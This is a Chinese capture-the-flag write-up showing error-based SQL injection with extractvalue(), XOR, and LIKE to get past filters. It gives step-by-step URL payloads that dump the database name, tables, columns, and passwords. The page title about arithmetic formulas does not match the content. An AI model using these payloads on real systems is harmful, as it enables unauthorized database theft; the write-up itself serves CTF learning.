1. 程式人生 > 其它 >程式設計筆記:給出一個正整數,求解滿足上面公式的所有算式組合

程式設計筆記:給出一個正整數,求解滿足上面公式的所有算式組合

 

 被堵

 

 

異或運算子為^ 或者 xor
兩個同為真的條件做異或,結果為假,兩個同為假的條件做異或,結果為假,一個條件為真,一個條件為假,結果為真,null與任何條件(真、假、null)做異或,結果都為null

我們還需要用到一個函式:extractvalue()

對XML文件進行查詢的函式

還有要注意的地方是,它能夠查詢的字串長度最大是32個字元,如果超過32位,我們就需要用函式來查詢,比如right(),left(),substr()來擷取字串

 

然後,我們開始注入

第一個payload:

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(database()))))%23

 

 庫名出來了,接著爆表

發現等於號被過濾,可以用like代替

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

 

 接著爆欄位

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

 

因為用extractvalue()函式,一次只能顯示32個字元,我們需要用 left right函式

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(left(password,30))from(geek.H4rDsq1))))%23

 

 

 

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(right(password,30))from(geek.H4rDsq1))))%23

 

flag{68e2d23a-f3b9-46b5-8298-d0470eca0517}